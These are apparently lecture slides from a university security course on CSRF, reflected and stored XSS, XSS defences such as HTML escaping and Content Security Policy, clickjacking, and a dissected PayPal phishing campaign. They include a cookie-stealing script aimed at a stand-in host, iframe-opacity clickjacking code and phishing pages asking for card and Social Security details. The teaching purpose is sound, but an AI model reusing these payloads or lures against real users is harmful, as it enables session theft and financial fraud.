Web Security: XSS, Misleading Users

CS 161: Computer Security
Prof. Vern Paxson

TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn, Warren He, Grant Ho, Frank Li, Nathan Malkin, Mitar Milutinovic, Rishabh Poddar, Rebecca Portnoff, Nate Wang

http://inst.eecs.berkeley.edu/~cs161/

February 9, 2017

Some content adapted from materials by Dan Boneh and John Mitchell
CSRF Scenario

1. Establish session
2. Visit server
3. Malicious page containing URL to mybank.com with bad actions
4. Send forged request (w/ cookie)
5. Bank acts on request, since it has valid cookie for user
CSRF: Summary

• **Target:** user who has some sort of account on a vulnerable server where requests from the user’s browser to the server have a *predictable structure*

• **Attacker goal:** make requests to the server via the user’s browser that look to server like user *intended* to make them

• **Attacker tools:** ability to get user to visit a web page under the attacker’s control

• **Key tricks:** (1) requests to web server have *predictable structure*; (2) use of `<IMG SRC=...>` or such to force victim’s browser to issue such a (predictable) request

• **Notes:** (1) do not confuse with Cross-Site Scripting (XSS); (2) attack only requires HTML, no need for Javascript
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Perform attacker action
5. Execute script embedded in input as though server meant us to run it
6. Steal valuable data

(A “stored” XSS attack)
## Stored XSS: Summary

<table>
<thead>
<tr>
<th><strong>Target:</strong></th>
<th>user with Javascript-enabled <strong>browser</strong> who visits <strong>user-generated-content</strong> page on vulnerable <strong>web service</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Attacker goal:</strong></td>
<td>run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = <em>Same Origin Policy</em>)</td>
</tr>
<tr>
<td><strong>Attacker tools:</strong></td>
<td>ability to leave content on web server page (e.g., via an ordinary browser); optionally, a server used to receive stolen information such as cookies</td>
</tr>
<tr>
<td><strong>Key trick:</strong></td>
<td>server fails to ensure that content uploaded to page does not contain embedded scripts</td>
</tr>
<tr>
<td><strong>Notes:</strong></td>
<td>(1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript (<em>generally</em>)</td>
</tr>
</tbody>
</table>
Two Types of XSS (Cross-Site Scripting)

• There are two main types of XSS attacks
• In a *stored* (or “persistent”) XSS attack, the attacker leaves their script lying around on mybank.com server
  – … and the server later unwittingly sends it to your browser
  – Your browser is none the wiser, and executes it within the same origin as the mybank.com server

• In a *reflected* XSS attack, the attacker gets you to send the mybank.com server a URL that has a Javascript script crammed into it …
  – … and the server echoes it back to you in its response
  – Your browser is none the wiser, and executes the script in the response within the same origin as mybank.com
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS (Cross-Site Scripting)

1. Visit web site

Victim client → Attack Server

_evil.com_
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page

Victim client

Attack Server

evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link

Exact URL under attacker’s control

Server Patsy/Victim

Victim client

Attack Server

mybank.com

evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input

Victim client

Attack Server
- evil.com

Server Patsy/Victim
- mybank.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
**Reflected XSS (Cross-Site Scripting)**

1. **Visit web site**
2. **Receive malicious page**
3. **Click on link**
4. **Echo user input**
5. **Execute script embedded in input as though server meant us to run it**
6. **Perform attacker action**

**Attack Server**
- evil.com

**Server Patsy/Victim**
- mybank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Send valuable data
7. Attack Server
   evil.com

And/Or:

- Visit web site
- Receive malicious page
- Send valuable data
- Server Patsy/Victim
   mybank.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
7. send valuable data

(“Reflected” XSS attack)

Victim client

Server Patsy/Victim

Attack Server

mybank.com

evil.com
Example of How Reflected XSS Can Come About

- User input is echoed into HTML response.
- *Example*: search field
  - search.php responds with
    - `<HTML>  <TITLE> Search Results </TITLE>  
      <BODY>  
        Results for $term :  
        ...  
      </BODY>  </HTML>`

How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

Consider this link on evil.com: (properly URL encoded)

```
    <script> window.open("http://badguy.com?cookie = " +
        document.cookie ) </script>
```

What if user clicks on this link?

1) Browser goes to victim.com/search.php?...

2) victim.com returns

```
<HTML> Results for <script> ... </script> ...
```

3) Browser executes script in same origin as victim.com
   Sends badguy.com cookie for victim.com
Surely **Squigler.com** is not vulnerable to Reflected XSS, right?
### Reflected XSS: Summary

<table>
<thead>
<tr>
<th>Target: user with Javascript-enabled browser who visits a vulnerable web service that will include parts of URLs it receives in the web page output it generates</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attacker goal: run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = Same Origin Policy)</td>
</tr>
<tr>
<td>Attacker tools: ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies</td>
</tr>
<tr>
<td>Key trick: server fails to ensure that output it generates does not contain embedded scripts other than its own</td>
</tr>
<tr>
<td>Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript (generally)</td>
</tr>
</tbody>
</table>
Defending Against XSS
Protecting Servers Against XSS (OWASP)

• OWASP = *Open Web Application Security Project*

• Lots of guidelines, but 3 key ones cover most situations
  https://www.owasp.org/index.php/
  XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

1. Never insert untrusted data except in *allowed locations*
2. **HTML-escape** before inserting untrusted data into *simple* HTML element contents
3. **HTML-escape** all non-alphanumerics characters before inserting untrusted data into *simple* attribute contents
Never Insert Untrusted Data
Except In *Allowed Locations*

```
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>    directly in a script

<!--...NEVER PUT UNTRUSTED DATA HERE...-->

<div ...NEVER PUT UNTRUSTED DATA HERE...=test /></div>    inside an HTML comment

<NEVER PUT UNTRUSTED DATA HERE... href="/test" />    in an attribute name

<style>...NEVER PUT UNTRUSTED DATA HERE...</style>    directly in CSS
```
HTML-Escape Before Inserting Untrusted Data into Simple HTML Element Contents

Rewrite 6 characters (or, better, use framework functionality):

&  -->  &amp;
<  -->  &lt;
>  -->  &gt;
"  -->  &quot;
'  -->  &#x27;
/  -->  &#x2F;
HTML-Escape Before Inserting Untrusted Data into Simple HTML Element Contents

Rewrite 6 characters (or, better, use framework functionality):

While this is a “default-allow” black-list, it’s one that’s been heavily community-vetted
HTML-Escape All Non-Alphanumeric Characters Before Inserting Untrusted Data into *Simple* Attribute Contents

"Simple": width=, height=, value=...
**NOT**: href=, style=, src=, onXXX= ...

Escape using &\#xHH; where HH is hex ASCII code (or better, again, use framework support)
Content Security Policy (CSP)

- **Goal**: prevent XSS by specifying a *white-list* from where a browser can load resources (Javascript scripts, images, frames, …) for a given web page

- **Approach**:
  - *Prohibits inline scripts*
  - Content-Security-Policy HTTP header allows reply to specify *white-list*, instructs the browser to only execute or render resources from those sources
    - E.g., `script-src 'self' http://b.com; img-src *`
  - Relies on browser to enforce

Content Security Policy (CSP)

- **Goal:** prevent XSS by specifying a *white-list* from where a browser can load resources (Javascript scripts, images, frames, …)

  - This says only allow scripts fetched explicitly ("<script src=URL></script>") from the server, or from http://b.com, but not from anywhere else.

  - Will *not* execute a script that’s included inside a server’s response to some other query (required by XSS).

  - To specify white-list, instructs the browser to only execute or render resources from those sources

    - E.g., `script-src 'self' http://b.com; img-src *`

- **Approach:**
  - Prohibits inline scripts
  - Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources

Content Security Policy (CSP)

- **Goal**: prevent XSS by specifying a *white-list* from where a browser can load resources (Javascript scripts, images, frames, …) for a given web page

- **Approach**:
  - Prohibits inline scripts
  - Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources
    - E.g., `script-src 'self' http://b.com; img-src *`
  - Relies on browser to enforce

This says to allow images to be loaded from anywhere.

CSP resource directives

✧ **script-src** limits the origins for loading scripts
✧ **img-src** lists origins from which images can be loaded.
✧ **connect-src** limits the origins to which you can connect (via XHR, WebSockets, and EventSource).
✧ **font-src** specifies the origins that can serve web fonts.
✧ **frame-src** lists origins can be embedded as frames
✧ **media-src** restricts the origins for video and audio.
✧ **object-src** allows control over Flash, other plugins
✧ **style-src** is script-src counterpart for stylesheets
✧ **default-src** define the defaults for any directive not otherwise specified

For our purposes, **script-src** is the crucial one
5 Minute Break

Questions Before We Proceed?
Misleading Users

• Browser assumes clicks & keystrokes = *clear indication of what the user wants to do*
  – Constitutes part of the user’s *trusted path*

• Attacker can meddle with integrity of this relationship in different ways …
Navigate to www.berkeley.edu
Same, but smaller window. Mouse anywhere over the region points to https://crowdfund.berkeley.edu

Discover new Berkeley Crowdfunding projects today

https://crowdfund.berkeley.edu
Let's load www.berkeley.edu

<p>
<div>
<iframe src="http://www.berkeley.edu" width=500 height=500></iframe>
</div>
</p>

We load www.berkeley.edu in an iframe
Any Javascript in the surrounding window can’t generate synthetic clicks in the framed window due to Same Origin Policy.
Though of course if the user themselves clicks in the framed window, that “counts” …
Let's load www.berkeley.edu

https://crowdfund.berkeley.edu
Let's load www.berkeley.edu

We position the iframe to completely overlap with the outer frame
Discover new Berkeley Crowdfunding projects today
Let's load www.berkeley.edu

<p>
<div style="position:absolute; top: 40px;">
<iframe src="http://www.berkeley.edu" width=500 height=500></iframe>
</div>
</p>

We nudge the iframe’s position a bit below the top so we can see our outer frame text
Let's load www.berkeley.edu

Discover new Berkeley Crowdfunding projects today
Let's load www.berkeley.edu

<p class="bigspace">
<em>You <b>Know</b> You Want To Click Here!</em>
</p>

We add marked-up text to the outer frame, about 3 inches from the top
Let's load www.berkeley.edu

Discover new Berkeley Crowdfunding projects today
Let's load www.berkeley.edu, opacity 0.8

You Know You Want To Click Here!

We make the iframe partially transparent
Let's load www.berkeley.edu, opacity 0.8

https://crowdfund.berkeley.edu
Let's load www.berkeley.edu, opacity 0.1

You Know You Want To Click Here!

We make the iframe highly transparent
Let's load www.berkeley.edu, opacity 0.1

You Know You Want To Click Here!

Discover new Berkeley Crowdfunding projects today

https://crowdfund.berkeley.edu
Let's load www.berkeley.edu, opacity 0

<em>You Know You Want To Click Here!</em>

We make the iframe <em>entirely</em> transparent
Let's load www.berkeley.edu, opacity 0

You Know You Want To Click Here!

Click anywhere over the region goes to https://crowdfund.berkeley.edu
BEST GAME EVER!

PLAY!

Is this goodbye?

This action is permanent.

Are you sure you don't want to reconsider? Is something we said? Tell us.

Before you deactivate your account, know this:

- This action is permanent: account restoration is currently disabled.
- You will lose all followers and friends.
- Your account will be inactivated for a few days after deactivation.
- Your account will be removed from search engines.
- You cannot reactivate your account.
- Your account will be deleted and cannot be recovered.

Okay, fine. deactivate my account.
Clickjacking

- By placing an invisible iframe of target.com over some enticing content, a malicious web server can fool a user into taking unintended action on target.com ...

- ... By placing a visible iframe of target.com under the attacker’s own invisible iframe, a malicious web server can “steal” user input – in particular, keystrokes
Surely Squigler.com is not vulnerable to clickjacking, right?
Surely *CalNet* is not vulnerable to clickjacking, right?
Clickjacking Defenses

• Require confirmation for actions (annoys users)
• *Frame-busting*: Web site ensures that its "vulnerable" pages can’t be included as a frame inside another browser frame
  – So user can’t be looking at it with something invisible overlaid on top …
  – … nor have the site invisible above something else
Attacker implements this by placing Twitter’s page in a “Frame” inside their own page. Otherwise they wouldn’t overlap.
Clickjacking Defenses

• Require confirmation for actions (annoys users)
• *Frame-busting*: Web site ensures that its “vulnerable” pages can’t be included as a frame inside another browser frame
  – So user can’t be looking at it with something invisible overlaid on top …
  – … nor have the site invisible above something else

• See OWASP’s “cheat sheet” for this:
Clickjacking Defenses

• Require confirmation for actions (annoys users)
• *Frame-busting*: Web site ensures that its “vulnerable” pages can’t be included as a frame inside another browser frame
  – So user can’t be looking at it with something invisible overlaid on top …
  – … nor have the site invisible above something else
• See OWASP’s “cheat sheet” for this: https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
• Another approach: HTTP *X-Frame-Options* header
  – Allows *white-listing* of what domains – if any – are allowed to frame a given page a server returns
Could even use X-Frame-Options?
Phishing: Leveraging the richness of Web pages
Dear vern we are making a few changes

Your Account Will Be Closed!

Hello, Dear vern

Your Account Will Be Closed, Until We Here From You. To Update Your Information. Simply click on the web address below.

What do I need to do?

Confirm My Account Now

Date: Thu, 9 Feb 2017 07:19:40 -0600
From: PayPal <alert@gnc.cc>
Subject: [Important] : This is an automatic message to : (vern)
To: vern@aciri.org

How do I know this is not a Spoof email?

Spoof or 'phishing' emails tend to have generic greetings such as "Dearvern". Emails from PayPal will always address you by your first and last name.

Find out more here.

This email was sent to vern.

Copyright Â© 1999-2017. All rights reserved. PayPal Pte. Ltd. Address is 5 Temasek Boulevard #09-01 Suntec Tower 5 Singapore 038985
Dear Vern we are making a few changes

Hello, Dear Vern

Your Account Will Be Closed, Until We Here From You. To Update Your Information. Simply click on the web address below

What do I need to do?

Confirm My Account Now

Help  Contact  Security

How do I know this is not a Spoof email?

Spoof or 'phishing' emails tend to have generic greetings such as "Dearvern". Emails from PayPal will always address you by your first and last name.

Find out more here.

This email was sent to Vern.

Copyright © 1999-2017. All rights reserved. PayPal Pte. Ltd. Address is 5 Temasek Boulevard #09-01 Suntec Tower 5 Singapore 038985

Open “universalkids.com.br/re.php” in a new window
Confirm Your personal PayPal Informations

Stefani Joanne Angelina

Germanotta

28-03-1986

On Tour

City

United States of America

State  Zip Code

Mobile  Phone Number

Continue
Confirm your Credit Card

- Pay without exposing your card number to merchants
- No need to retype your card information when you pay

Primary Credit Card

Card Number

MM/YY

CSC

Social Security Number

This Card is a VBV/MCC

Continue

🔒 Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Confirm your Credit Card

- Pay without exposing your card number to merchants
- No need to retype your card information when you pay

Primary Credit Card
- Not Sure
- MM/YYYY
- CSC
- 121-21-2121

This Card is a VBV / MSC

Continue

Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Please enter your Secure Code

Name of cardholder Stefani Joanne Angelina Germanotta

Zip Code

Contry United States of America

Card Number Not Sure

Password

Submit

Copyright © 1999-2017. All rights reserved.
Please enter your Secure Code

Name of cardholder: Stefani Joanne Angelina Germanotta
Zip Code
Country: United States of America
Card Number: Not sure
Password: $secret

Submit

Copyright © 1999-2017. All rights reserved.
Confirm your bank account

Join 72 million PayPal members who have Confirmed a bank

- Pay with cash when you shop online
- Send money to friends in the U.S. for FREE
- Withdraw money from PayPal to your bank account

🔒 Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Confirm your bank account

Join 72 million PayPal members who have Confirmed a bank

- Pay with cash when you shop online
- Send money to friends in the U.S. for FREE
- Withdraw money from PayPal to your bank account

🔒 Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Your account is ready to use!

Shop, sell things, and transfer money with PayPal now.

Go shopping
Shop safer online and in stores just look for the PayPal logo when you check out.

Sell something
Sell on eBay or your web site. Get paid instantly, securely.

Transfer money
Pay a friend back for lunch. Raise money for a group gift. It’s fast and easy.
The Problem of Phishing

- Arises due to mismatch between reality & user’s:
  - Perception of how to assess legitimacy
  - Mental model of what attackers can control
    - Both Email and Web

- Coupled with:
  - Deficiencies in how web sites authenticate
    - In particular, “replayable” authentication that is vulnerable to theft

- Attackers have many angles ...